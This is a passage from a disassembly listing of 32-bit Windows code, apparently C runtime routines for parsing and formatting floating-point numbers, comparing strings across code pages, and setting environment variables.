		pop	eax


loc_43565B:				; CODE XREF: sub_435381+5Dj
					; sub_435381+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 004353E4 case 10
		jz	loc_4356F9
		jmp	loc_4353D8
; ---------------------------------------------------------------------------


loc_435669:				; CODE XREF: sub_435381+12Dj
					; sub_435381+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_4356F9
; ---------------------------------------------------------------------------


loc_435671:				; CODE XREF: sub_435381+63j
					; DATA XREF: .text:off_435822o
		mov	[ebp+var_20], 1	; jumptable 004353E4 case 9
		xor	esi, esi


loc_43567A:				; CODE XREF: sub_435381+339j
		cmp	dword_4535C4, 1
		jle	short loc_435692
		movzx	eax, bl
		push	4
		push	eax
		call	sub_42F12B
		pop	ecx
		pop	ecx
		jmp	short loc_4356A1
; ---------------------------------------------------------------------------


loc_435692:				; CODE XREF: sub_435381+300j
		mov	ecx, off_4533B8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4356A1:				; CODE XREF: sub_435381+30Fj
		test	eax, eax
		jz	short loc_4356C1
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_4356BC
		mov	bl, [edi]
		inc	edi
		jmp	short loc_43567A
; ---------------------------------------------------------------------------


loc_4356BC:				; CODE XREF: sub_435381+334j
		mov	esi, 1451h


loc_4356C1:				; CODE XREF: sub_435381+322j
		mov	[ebp+var_1C], esi


loc_4356C4:				; CODE XREF: sub_435381+371j
		cmp	dword_4535C4, 1
		jle	short loc_4356DC
		movzx	eax, bl
		push	4
		push	eax
		call	sub_42F12B
		pop	ecx
		pop	ecx
		jmp	short loc_4356EB
; ---------------------------------------------------------------------------


loc_4356DC:				; CODE XREF: sub_435381+34Aj
		mov	ecx, off_4533B8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4356EB:				; CODE XREF: sub_435381+359j
		test	eax, eax
		jz	short loc_4356F4
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4356C4
; ---------------------------------------------------------------------------


loc_4356F4:				; CODE XREF: sub_435381+99j
					; sub_435381+E4j ...
		dec	edi
		jmp	short loc_4356F9
; ---------------------------------------------------------------------------


loc_4356F7:				; CODE XREF: sub_435381+261j
					; sub_435381+2BCj
		mov	edi, ecx


loc_4356F9:				; CODE XREF: sub_435381+2DDj
					; sub_435381+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_4357E1
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_435725
		cmp	[ebp+var_45], 5
		jl	short loc_435719
		inc	[ebp+var_45]


loc_435719:				; CODE XREF: sub_435381+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_435728
; ---------------------------------------------------------------------------


loc_435725:				; CODE XREF: sub_435381+38Dj
		mov	eax, [ebp+var_C]


loc_435728:				; CODE XREF: sub_435381+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_4357D7


loc_435732:				; CODE XREF: sub_435381+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_435740
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_435732
; ---------------------------------------------------------------------------


loc_435740:				; CODE XREF: sub_435381+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_4352BA
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_43575F
		neg	eax


loc_43575F:				; CODE XREF: sub_435381+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_43576A
		add	eax, [ebp+arg_10]


loc_43576A:				; CODE XREF: sub_435381+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_435772
		sub	eax, [ebp+arg_14]


loc_435772:				; CODE XREF: sub_435381+3ECj
		cmp	eax, 1450h
		jle	short loc_4357A9
		mov	[ebp+var_2C], 1


loc_435780:				; CODE XREF: sub_435381+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_43578C:				; CODE XREF: sub_435381+454j
					; sub_435381+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_4357F2
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_435807
; ---------------------------------------------------------------------------


loc_4357A9:				; CODE XREF: sub_435381+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_4357B9
		mov	[ebp+var_30], 1
		jmp	short loc_435780
; ---------------------------------------------------------------------------


loc_4357B9:				; CODE XREF: sub_435381+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_436254
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_43578C
; ---------------------------------------------------------------------------


loc_4357D7:				; CODE XREF: sub_435381+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_43578C
; ---------------------------------------------------------------------------


loc_4357E1:				; CODE XREF: sub_435381+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_435807
; ---------------------------------------------------------------------------


loc_4357F2:				; CODE XREF: sub_435381+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_435807
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_435807:				; CODE XREF: sub_435381+426j
					; sub_435381+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_435381	endp

; ---------------------------------------------------------------------------
off_435822	dd offset loc_4353EB	; DATA XREF: sub_435381+63r
		dd offset loc_43543A	; jump table for switch	statement
		dd offset loc_435491
		dd offset loc_4354BB
		dd offset loc_435516
		dd offset loc_43558D
		dd offset loc_4355C3
		dd offset loc_43560D
		dd offset loc_4355EC
		dd offset loc_435671
		dd offset loc_43565B
		dd offset loc_435627

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435852	proc near		; CODE XREF: sub_434593+2Bp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_4358B4
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_4358B8
; ---------------------------------------------------------------------------


loc_4358B4:				; CODE XREF: sub_435852+5Aj
		mov	byte ptr [ebx+2], 20h


loc_4358B8:				; CODE XREF: sub_435852+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_4358DE
		test	edi, edi
		jnz	short loc_4358DE
		cmp	[ebp+arg_0], edi
		jnz	short loc_4358DE


loc_4358C9:				; CODE XREF: sub_435852+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_435ADC
; ---------------------------------------------------------------------------


loc_4358DE:				; CODE XREF: sub_435852+6Cj
					; sub_435852+70j ...
		cmp	dx, si
		jnz	short loc_43595D
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_4358F7
		cmp	[ebp+arg_0], 0
		jz	short loc_435906


loc_4358F7:				; CODE XREF: sub_435852+9Dj
		test	edi, 40000000h
		jnz	short loc_435906
		push	offset dword_437F30
		jmp	short loc_43594C
; ---------------------------------------------------------------------------


loc_435906:				; CODE XREF: sub_435852+A3j
					; sub_435852+ABj
		test	cx, cx
		jz	short loc_435920
		cmp	edi, 0C0000000h
		jnz	short loc_435920
		cmp	[ebp+arg_0], 0
		jnz	short loc_435947
		push	offset dword_437F28
		jmp	short loc_43592F
; ---------------------------------------------------------------------------


loc_435920:				; CODE XREF: sub_435852+B7j
					; sub_435852+BFj
		cmp	edi, eax
		jnz	short loc_435947
		cmp	[ebp+arg_0], 0
		jnz	short loc_435947
		push	offset dword_437F20


loc_43592F:				; CODE XREF: sub_435852+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_42A5D0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_43593E:				; CODE XREF: sub_435852+109j
		and	[ebp+var_4], 0
		jmp	loc_435AB5
; ---------------------------------------------------------------------------


loc_435947:				; CODE XREF: sub_435852+C5j
					; sub_435852+D0j ...
		push	offset dword_437F18


loc_43594C:				; CODE XREF: sub_435852+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_42A5D0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_43593E
; ---------------------------------------------------------------------------


loc_43595D:				; CODE XREF: sub_435852+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_436254
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_4359BE
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_436034
		pop	ecx
		pop	ecx


loc_4359BE:				; CODE XREF: sub_435852+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_4359D8
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_4359DB
		jmp	loc_4358C9
; ---------------------------------------------------------------------------


loc_4359D8:				; CODE XREF: sub_435852+173j
		mov	edi, [ebp+arg_C]


loc_4359DB:				; CODE XREF: sub_435852+17Fj
		cmp	edi, 15h
		jle	short loc_4359E3
		push	15h
		pop	edi


loc_4359E3:				; CODE XREF: sub_435852+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_4359F9:				; CODE XREF: sub_435852+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_43525F
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_4359F9
		test	esi, esi
		jge	short loc_435A23
		neg	esi
		and	esi, 0FFh
		jle	short loc_435A23


loc_435A16:				; CODE XREF: sub_435852+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_43528D
		dec	esi
		pop	ecx
		jnz	short loc_435A16


loc_435A23:				; CODE XREF: sub_435852+1B8j
					; sub_435852+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_435A80
		mov	[ebp+arg_C], ecx


loc_435A33:				; CODE XREF: sub_435852+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_43525F
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_43525F
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_435201
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_43525F
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_435A33
		mov	eax, [ebp+arg_14]


loc_435A80:				; CODE XREF: sub_435852+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_435ABD


loc_435A8D:				; CODE XREF: sub_435852+248j
		cmp	eax, ecx
		jb	short loc_435AA0
		cmp	byte ptr [eax],	39h
		jnz	short loc_435A9C
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_435A8D
; ---------------------------------------------------------------------------


loc_435A9C:				; CODE XREF: sub_435852+242j
		cmp	eax, ecx
		jnb	short loc_435AA4


loc_435AA0:				; CODE XREF: sub_435852+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_435AA4:				; CODE XREF: sub_435852+24Cj
		inc	byte ptr [eax]


loc_435AA6:				; CODE XREF: sub_435852+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_435AB5:				; CODE XREF: sub_435852+F0j
		mov	eax, [ebp+var_4]


loc_435AB8:				; CODE XREF: sub_435852+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_435ABD:				; CODE XREF: sub_435852+239j
					; sub_435852+275j
		cmp	eax, ecx
		jb	short loc_435ACD
		cmp	byte ptr [eax],	30h
		jnz	short loc_435AC9
		dec	eax
		jmp	short loc_435ABD
; ---------------------------------------------------------------------------


loc_435AC9:				; CODE XREF: sub_435852+272j
		cmp	eax, ecx
		jnb	short loc_435AA6


loc_435ACD:				; CODE XREF: sub_435852+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_435ADC:				; CODE XREF: sub_435852+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_435AB8
sub_435852	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435AE5	proc near		; CODE XREF: sub_434C1A+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_437F38
		push	offset sub_42ADC4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_676C8C, ebx
		push	1
		pop	edi
		jnz	short loc_435B58
		push	edi
		mov	eax, offset dword_437670
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_4371A0	; CompareStringW
		test	eax, eax
		jz	short loc_435B35
		mov	dword_676C8C, edi
		jmp	short loc_435B58
; ---------------------------------------------------------------------------


loc_435B35:				; CODE XREF: sub_435AE5+46j
		push	edi
		mov	eax, offset word_454038
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_4371A4	; CompareStringA
		test	eax, eax
		jz	loc_435D4E
		mov	dword_676C8C, 2


loc_435B58:				; CODE XREF: sub_435AE5+31j
					; sub_435AE5+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_435B6F
		push	esi
		push	[ebp+arg_8]
		call	sub_435D62
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_435B6F:				; CODE XREF: sub_435AE5+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_435B84
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_435D62
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_435B84:				; CODE XREF: sub_435AE5+8Dj
		mov	eax, dword_676C8C
		cmp	eax, 2
		jnz	short loc_435BA9
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4371A4	; CompareStringA
		jmp	loc_435D50
; ---------------------------------------------------------------------------


loc_435BA9:				; CODE XREF: sub_435AE5+A7j
		cmp	eax, edi
		jnz	loc_435D4E
		cmp	[ebp+arg_18], ebx
		jnz	short loc_435BBE
		mov	eax, dword_6769B8
		mov	[ebp+arg_18], eax


loc_435BBE:				; CODE XREF: sub_435AE5+CFj
		cmp	esi, ebx
		jz	short loc_435BCB
		cmp	[ebp+arg_14], ebx
		jnz	loc_435C63


loc_435BCB:				; CODE XREF: sub_435AE5+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_435BD8


loc_435BD0:				; CODE XREF: sub_435AE5+13Cj
					; sub_435AE5+16Dj
		push	2


loc_435BD2:				; CODE XREF: sub_435AE5+146j
		pop	eax
		jmp	loc_435D50
; ---------------------------------------------------------------------------


loc_435BD8:				; CODE XREF: sub_435AE5+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_435BE4


loc_435BDD:				; CODE XREF: sub_435AE5+151j
					; sub_435AE5+159j ...
		mov	eax, edi
		jmp	loc_435D50
; ---------------------------------------------------------------------------


loc_435BE4:				; CODE XREF: sub_435AE5+F6j
		cmp	esi, edi
		jg	short loc_435C29
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	dword_4371D8	; GetCPInfo
		test	eax, eax
		jz	loc_435D4E
		cmp	esi, ebx
		jle	short loc_435C2D
		cmp	[ebp+var_3C], 2
		jb	short loc_435C29
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_435C29


loc_435C0F:				; CODE XREF: sub_435AE5+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_435C29
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_435C23
		cmp	cl, dl
		jbe	short loc_435BD0


loc_435C23:				; CODE XREF: sub_435AE5+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_435C0F


loc_435C29:				; CODE XREF: sub_435AE5+101j
					; sub_435AE5+120j ...
		push	3
		jmp	short loc_435BD2
; ---------------------------------------------------------------------------


loc_435C2D:				; CODE XREF: sub_435AE5+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_435C63
		cmp	[ebp+var_3C], 2
		jb	short loc_435BDD
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_435BDD


loc_435C40:				; CODE XREF: sub_435AE5+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_435BDD
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_435C58
		cmp	cl, dl
		jbe	loc_435BD0


loc_435C58:				; CODE XREF: sub_435AE5+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_435C40
		jmp	loc_435BDD
; ---------------------------------------------------------------------------


loc_435C63:				; CODE XREF: sub_435AE5+E0j
					; sub_435AE5+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	dword_437184	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_435D4E
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_429B60
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_435CB2
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_435CB2:				; CODE XREF: sub_435AE5+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_435D4E
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_437184
		call	esi ; dword_437184
		test	eax, eax
		jz	short loc_435D4E
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi ; dword_437184
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_435D4E
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_429B60
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_435D1D
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_435D1D:				; CODE XREF: sub_435AE5+224j
		cmp	edi, ebx
		jz	short loc_435D4E
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	dword_437184	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_435D4E
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4371A0	; CompareStringW
		jmp	short loc_435D50
; ---------------------------------------------------------------------------


loc_435D4E:				; CODE XREF: sub_435AE5+63j
					; sub_435AE5+C6j ...
		xor	eax, eax


loc_435D50:				; CODE XREF: sub_435AE5+BFj
					; sub_435AE5+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_435AE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_435D62	proc near		; CODE XREF: sub_430D9F+81p
					; sub_435AE5+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_435D7F


loc_435D72:				; CODE XREF: sub_435D62+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_435D7F
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_435D72


loc_435D7F:				; CODE XREF: sub_435D62+Ej
					; sub_435D62+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_435D8A
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_435D8A:				; CODE XREF: sub_435D62+21j
		mov	eax, edx
		retn
sub_435D62	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435D8D	proc near		; CODE XREF: sub_434C59+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_435DF1
		push	3Dh
		push	[ebp+arg_0]
		call	sub_434794
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_435DF1
		cmp	[ebp+arg_0], esi
		jz	short loc_435DF1
		mov	eax, dword_6769EC
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_6769F0
		jnz	short loc_435DD7
		push	eax
		call	sub_435F6C
		pop	ecx
		mov	dword_6769EC, eax


loc_435DD7:				; CODE XREF: sub_435D8D+3Cj
		cmp	eax, edi
		jnz	short loc_435E2F
		cmp	[ebp+arg_4], edi
		jz	short loc_435DF9
		cmp	dword_6769F4, edi
		jz	short loc_435DF9
		call	sub_434C59
		test	eax, eax
		jz	short loc_435E2F


loc_435DF1:				; CODE XREF: sub_435D8D+Dj
					; sub_435D8D+22j ...
		or	eax, 0FFFFFFFFh


loc_435DF4:				; CODE XREF: sub_435D8D+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_435DF9:				; CODE XREF: sub_435D8D+51j
					; sub_435D8D+59j
		cmp	ebx, edi
		jnz	loc_435F0D
		push	4
		call	sub_4297B8
		cmp	eax, edi
		pop	ecx
		mov	dword_6769EC, eax
		jz	short loc_435DF1
		mov	[eax], edi
		cmp	dword_6769F4, edi
		jnz	short loc_435E2F
		push	4
		call	sub_4297B8
		cmp	eax, edi
		pop	ecx
		mov	dword_6769F4, eax
		jz	short loc_435DF1
		mov	[eax], edi


loc_435E2F:				; CODE XREF: sub_435D8D+4Cj
					; sub_435D8D+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_6769EC
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_435F14
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_435E8F
		cmp	dword ptr [edi], 0
		jz	short loc_435E8F
		test	ebx, ebx
		jz	short loc_435E87
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_4298F2
		pop	ecx


loc_435E61:				; CODE XREF: sub_435D8D+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_435E71
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_435E61
; ---------------------------------------------------------------------------


loc_435E71:				; CODE XREF: sub_435D8D+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_431C83
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_435EC1
		jmp	short loc_435EBC
; ---------------------------------------------------------------------------


loc_435E87:				; CODE XREF: sub_435D8D+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_435EC1
; ---------------------------------------------------------------------------


loc_435E8F:				; CODE XREF: sub_435D8D+BDj
					; sub_435D8D+C2j
		test	ebx, ebx
		jnz	short loc_435F0D
		test	esi, esi
		jge	short loc_435E99
		neg	esi


loc_435E99:				; CODE XREF: sub_435D8D+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_431C83
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_435DF1
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_435EBC:				; CODE XREF: sub_435D8D+F8j
		mov	dword_6769EC, eax


loc_435EC1:				; CODE XREF: sub_435D8D+F6j
					; sub_435D8D+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_435F0D
		push	[ebp+arg_0]
		call	sub_4293A0
		inc	eax
		inc	eax
		push	eax
		call	sub_4297B8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_435F0D
		push	[ebp+arg_0]
		push	esi
		call	sub_42A5D0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	dword_43719C	; SetEnvironmentVariableA
		push	esi
		call	sub_4298F2
		pop	ecx


loc_435F0D:				; CODE XREF: sub_435D8D+6Ej
					; sub_435D8D+104j ...
		xor	eax, eax
		jmp	loc_435DF4
sub_435D8D	endp


; =============== S U B	R O U T	I N E =======================================



sub_435F14	proc near		; CODE XREF: sub_435D8D+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_6769EC
		push	edi
		mov	eax, [esi]
